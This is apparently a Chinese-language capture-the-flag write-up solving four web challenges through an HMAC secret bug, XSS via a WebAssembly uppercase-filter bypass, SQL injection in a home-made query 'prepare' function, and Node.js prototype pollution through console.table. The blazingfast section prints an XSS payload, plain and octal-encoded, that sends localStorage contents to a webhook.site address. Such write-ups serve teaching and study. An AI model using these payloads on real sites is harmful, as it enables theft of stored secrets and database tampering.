knock-knock
题目的主要逻辑是:创建一个note会返回这个note在数组中的下标id
然后和对应的访问token
,然后flag在程序启动的时候就push到了数组中,其下标也就是id应该为0。所以我们为了获取到flag,只要获取到对应的token即可,其中的token是如此生成的
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
所以因为我们的目的是要伪造token,所以我们需要知道它的secret
,这里的secret
使用模板语法,取了crypto的randomUUID值,因为没有用()调用函数,所以返回的是函数体,也就是固定内容
blazingfast
简单读一下bot.js
发现目的是要XSS
,然后查看index.html
中执行的js
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
这里使用js
的api
去调用WebAssembly
WebAssembly 是一种新的编码方式,可以在现代的网络浏览器中运行 - 它是一种低级的类汇编语言,具有紧凑的二进制格式,可以接近原生的性能运行,并为诸如 C / C ++等语言提供一个编译目标,以便它们可以在 Web 上运行。它也被设计为可以与 JavaScript 共存,允许两者一起工作。
WebAssembly 被设计为可以和 JavaScript 一起协同工作——通过使用 WebAssembly 的 JavaScript API,你可以把 WebAssembly 模块加载到一个 JavaScript 应用中并且在两者之间共享功能。这允许你在同一个应用中利用 WebAssembly 的性能和威力以及 JavaScript 的表达力和灵活性,即使你可能并不知道如何编写 WebAssembly 代码。
类似于去加载/blazingfast.wasm
文件,然后使用在.wasm
中定义的方法,使用WebAssembly
的好处是加快运行的速度,类似于汇编,相同的代码使用.wasm
明显比使用js
编写快。阅读上面那段代码发现有两种接收参数的方式,一种是获得id
为demo
内的值,也就页面中的输入框,一种是通过
let query = new URLSearchParams(window.location.search).get('demo');
获得?demo=
后的值,然后一样赋值给document.getElementById('demo').value
。然后对于输入的值作为参数传入demo
函数
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
又进入mock
函数
这里的blazingfast
是在上面利用WebAssembly
加载/blazingfast.wasm
暴露实例出来的对象,也就是附件中的
可以看到在mock中将用户输入的长度作为init传入,然后后面检查的长度是最初传入的长度,然后经过str.toUpperCase()
后将结果遍历进入mock
,这里利用一些特殊字符经过toUpperCase()
的特性来绕过检测
然后就是命令执行的问题,因为程序会将输入全转换为大写,又js是大小写敏感的语言,所以一些常见的payload无法使用,比如window.open
要是要取得localStorage.flag
得通过+localStorage.flag
但是这里就得逃出字符串的范围了,大写后无法执行,这里得用fetch,异步执行然后使用模板变量取得,这里使用localStorage.flag
的值
<img src=x onerror="''['at']['__proto__']['constructor']('fetch(`https://webhook.site/689e62cc-c516-4cec-a302-9bdc67202cc5?Q=${localStorage.flag}`)')()"/>
因为上面说的js是大小写敏感所以直接使用会报错 "".AT is undefined
因为只有at函数没有AT函数,这里的at随便一个字符串内置的就行,目的是要拿到Function
利用字符串的特性,利用八进制绕过,脚本简单实现
import re
str = "https://webhook.site/689e62cc-c516-4cec-a302-9bdc67202cc5"
newstr = ""
for i in str:
if re.search("[a-zA-Z]",i) != None:
newstr +='\\'+oct(ord(i)).split("o")[1]
else:
newstr += i
print(newstr)
<img src=x onerror="''['\141\164']['\137\137\160\162\157\164\157\137\137']['\143\157\156\163\164\162\165\143\164\157\162']('\146\145\164\143\150(`\150\164\164\160\163://\167\145\142\150\157\157\153.\163\151\164\145/689\14562\143\143-\143516-4\143\145\143-\141302-9\142\144\14367202\143\1435?Q=${\154\157\143\141\154S\164\157\162\141\147\145.\146\154\141\147}`)')()"/>
还可以使用html编码
<img src=x onerror="alert(1)" />
no-cookies
题目逻辑是不需要cookie所有的路由都需要先登录后才可以使用,然后flag在bot的密码中,所以我们的目标是获取bot的密码
在代码view.html中:
let text = note;
if (mode === 'markdown') {
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
document.querySelector('.note').innerHTML = text;
可以看见在其中存在XSS,我们输入
[a](1" onfocus=alert(RegExp.input) autofocus=")
拼接后成为
<a href="1" onfocus=alert(RegExp.input) autofocus="">a</a>
即可完成XSS
,RegExp.input
是看wp
学到的可以获得上一次正则匹配成功的值,如果没有经过text.replace
我们可以获得最后一次匹配成功的值为const password = promptValid('Password:');
就可以获得bot的密码,但是这里只能获得note。
发现note是访问/view路由的返回值,在index.js中会进行下列预编译
prepare: (query, params) => {
if (params)
for (const [key, value] of Object.entries(params)) {
const clean = value.replace(/['$]/g, '');
query = query.replaceAll(`:${key}`, `'${clean}'`);
}
return query;
},
也就是可以进行sql注入
// 一開始是
INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)
// 接著假設 id 是 123,就會變成
INSERT INTO notes VALUES ('123' :username, :note, :mode, 0)
// 再來 replace username,變成
INSERT INTO notes VALUES ('123', 'a :note', :note, :mode, 0)
// 再來是 note,要注意的是兩個 note 都會被 replace
INSERT INTO notes VALUES ('123', 'a ', :mode, 0, 0) -- '', ', :mode, 0, 0) -- ', :mode, 0)
// 最後是 mode,這時候我們已經可以控制 note 內容的值了,沒有任何限制
INSERT INTO notes VALUES ('123', 'a ', 'payload', 0, 0) -- '', ', 'payload', 0, 0) -- ', :mode, 0)
另一种解法是
利用<svg><svg/onload=eval(name)>
可以在下一个
document.querySelector('.views').innerText = views;
执行前执行代码,然后通过覆盖方法,然后使用arguments.callee.caller重新调用一次函数,然后执行的是我们覆盖完成的结果
document.querySelector = function() {
JSON.stringify = function(data) {
console.log(data.password) // flag
};
arguments.callee.caller()
}
callee是arguments对象的一个属性,指向 arguments 对象的函数,即当前函数。 caller是函数对象的一个属性,指向调用当前函数的函数体引用。
vm-calc
目的是
if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
res.render("admin", { flag: await fsp.readFile("flag.txt") });
}
这里用到了nodejs的1day,去污染Object.prototype[0]
,让它变为空字符串,即可绕过检查
console.table([{x:1}], ["__proto__"]);
污染的的位置在map中
// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);
for (; i < indexKeyArray.length; i++) {
const item = tabularData[indexKeyArray[i]];
const primitive = item === null ||
(typeof item !== 'function' && typeof item !== 'object');
if (properties === undefined && primitive) {
hasPrimitives = true;
valuesKeyArray[i] = _inspect(item);
} else {
const keys = properties || ObjectKeys(item);
// for of 的時候 key 會是 __proto__
for (const key of keys) {
if (map[key] === undefined)
map[key] = [];
// !ObjectPrototypeHasOwnProperty(item, key) 會成立
if ((primitive && properties) ||
!ObjectPrototypeHasOwnProperty(item, key))
// 因此 map[__proto__][0] 會是空字串
map[key][i] = '';
else
map[key][i] = _inspect(item[key]);
}
}
}